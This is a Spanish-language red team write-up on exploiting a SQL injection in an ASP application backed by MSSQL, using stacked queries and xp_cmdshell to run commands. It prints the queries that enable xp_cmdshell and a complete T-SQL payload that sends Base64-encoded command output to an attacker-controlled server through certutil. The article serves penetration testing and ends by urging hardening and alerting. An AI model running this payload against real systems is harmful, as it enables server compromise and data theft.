Introducción

En una operación del Red Team se identificó un activo perimetral (ASP/MSSQL) vulnerable a SQL Injection. A través de esta vulnerabilidad fue posible la ejecución de comandos en el servidor, requiriendo de una táctica poco usual para conseguir la exfiltración de la salida de los comandos. En este artículo abordaremos el enfoque que se siguió para comprometer satisfactoriamente este primer elemento perimetral que posteriormente fue utilizado para pivotar a la red interna.

0x01 – Stacked queries

El entorno del que se parte es una aplicación ASP que utiliza como motor de base de datos un Microsoft SQL Server.

La vulnerabilidad se localiza rápidamente ya que, al insertar una comilla simple, se muestra en la página un error de ODBC Driver indicando que falta la comilla de cierre. Tras varios intentos fallidos de formar una consulta o expresión SQL válida (e.g. concatenación con el operador “+”), se baraja la opción de que el punto de inyección sea un parámetro en una llamada a procedimiento almacenado. Para confirmarlo, se intentan introducir nuevos parámetros inyectando una coma, lo que efectivamente provoca un error por exceso de argumentos.

Error provocado por el paso de demasiados argumentos

Como especifica la documentación, los parámetros pasados a un procedimiento almacenado deben ser constantes o variables, por lo que no podrán aplicarse las típicas técnicas union-based o a ciegas. La alternativa: el uso de stacked queries, soportadas por defecto en entornos de ASP con SQL Server.

Las stacked queries consisten en la ejecución de dos o más consultas SQL en la misma transacción, separadas por el carácter punto y coma. De esta forma, es posible el volcado de información de la base de datos mediante técnicas time-based:

En este caso, la aplicación web no maneja información crítica ni usuarios con mayores privilegios, por lo que se procede a investigar nuevas vías, como la ejecución de comandos.

En MSSQL, existe un procedimiento llamado xp_cmdshell que recibe un comando de Windows, lo ejecuta y devuelve el resultado como filas de texto. El problema en un escenario como este, es que la salida nunca será volcada al usuario, ya que la inyección ya no se produce en la consulta original. Por ello, para comprobar que los comandos se ejecutan correctamente, se hace uso de una utilidad por defecto en Windows: certutil.exe.

Este comando, cuya utilidad original es la gestión de certificados, puede resultar de gran utilidad en un ejercicio del Red Team por múltiples razones:

Es un binario instalado por defecto y firmado por Microsoft.

Permite realizar conexiones HTTP/s y es proxy-aware (utiliza el proxy configurado en el sistema).

y es proxy-aware (utiliza el proxy configurado en el sistema). Permite la codificación/decodificación en Base64 o hexadecimal.

En nuestro escenario, se utilizará para hacer una petición HTTPs a un servidor web controlado por nosotros, de manera que así confirmamos que efectivamente el comando fue ejecutado.

User-Agent “CertUtil URL Agent” Al servidor llega una petición con“CertUtil URL Agent”

Si bien lo más común es que el usuario de la aplicación no tenga permisos para ejecutar el procedimiento xp_cmdshell (por defecto desactivado), se ha visto en varias ocasiones que, debido a una mala configuración, sí tenga permisos para activarlo. En ese caso, se utilizarían las siguientes consultas:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

A partir de aquí, veremos cómo exfiltrar la salida de cualquier comando ejecutado.

0x02 – Exfiltración de los datos

En este punto podemos ejecutar comandos del sistema y hacer peticiones HTTP/s a un servidor web controlado por nosotros. Mezclando estos dos ingredientes, resulta trivial exfiltrar información haciendo una petición GET a https://redteam/[informacion_codificada]. En este caso, se escoge Base64 sobre hexadecimal, por permitir guardar más información en menos caracteres.

El procedimiento a seguir es el siguiente:

Declarar una variable de tipo “tabla” en donde guardar la salida que devuelve el procedimiento xp_cmdshell (recordar que devuelve el resultado en varias filas). Volcar la salida del comando a la variable anterior. Concatenar las filas de la tabla, separadas por un salto de línea. Codificar en Base64 la cadena resultante y guardarla en una variable. Generar el comando de certutil, añadiendo la cadena con el resultado. Ejecutarlo.

No hay una forma directa de realizar los pasos 3 y 4 en T-SQL, pero se pueden solventar con dos pequeños trucos:

No existe una función como group_concat de MySQL, por lo que para la concatenación de todas las filas se hace uso de la cláusula FOR XML. De esta forma, es posible la obtención de los datos en forma de una sola cadena (XML), a la que eliminamos la información de las etiquetas indicando una cadena vacía en el modo PATH:

SELECT columna+char(10) as 'text()' FROM tabla FOR XML path('') -- Se concatena un salto de linea al final de cada fila - char(10)

Por otro lado, tampoco hay una forma directa de convertir una cadena en Base64, pero sí una opción para representar los datos binarios en Base64. La solución pues, es convertir la cadena previamente en un tipo de dato binario:

SELECT cast('tarlogic' AS varbinary(max)) FOR XML path(''), BINARY BASE64

Para realizar esta codificación hay otras alternativas, como el uso de XQuery.

Juntando todos los pasos quedarían así en forma de T-SQL:

declare @r varchar(4120),@cmdOutput varchar(4120); declare @res TABLE(line varchar(max)); insert into @res exec xp_cmdshell 'COMANDO'; set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as 'text()' from @res for xml path('')) as varbinary(max))) for xml path(''),binary base64); set @r=concat('certutil -urlcache -f https://redteam/',@cmdOutput); exec xp_cmdshell @r;

Durante la lectura de la tabla que contiene el resultado del comando, se ha tenido en cuenta el cotejamiento, ya que el servidor comprometido devolvía información como letras con tilde que estropeaban la codificación en Base64.

Fichero de peticiones en el que se puede ver el resultado de los comandos en Base64

Asimismo, hay que tener en cuenta a la hora de decodificar el Base64 que, al tratarse de Windows, la salida del comando estará representada en Unicode.

0x03 – Automatización

Una vez con la capacidad de ejecutar y ver la salida de cualquier comando, se procede a la automatización del proceso. Para ello, se desarrolla una herramienta que ofrece un prompt al usuario para que introduzca un comando. A continuación, genera el payload necesario para ejecutarlo mientras que se despliega un servidor web que pueda recibir el resultado. Finalmente, lo decodifica y muestra por pantalla.

Herramienta para la automatización

El código de la herramienta, como prueba de concepto, se encuentra disponible en el siguiente enlace: https://gist.github.com/xassiz/51f392afbe1c0374a008fa85d621455e.

Conclusión

Hemos visto que un activo perimetral que a priori no manejaba información crítica o de utilidad para llevar a cabo una intrusión, ha permitido al Red Team convertirlo en un pivote hacia red interna del objetivo. Por este motivo, es importante plantear la necesidad de un proceso de hardening y de creación de alertas para este tipo de exfiltraciones, y no sólo la realización periódica de auditorías de vulnerabilidades.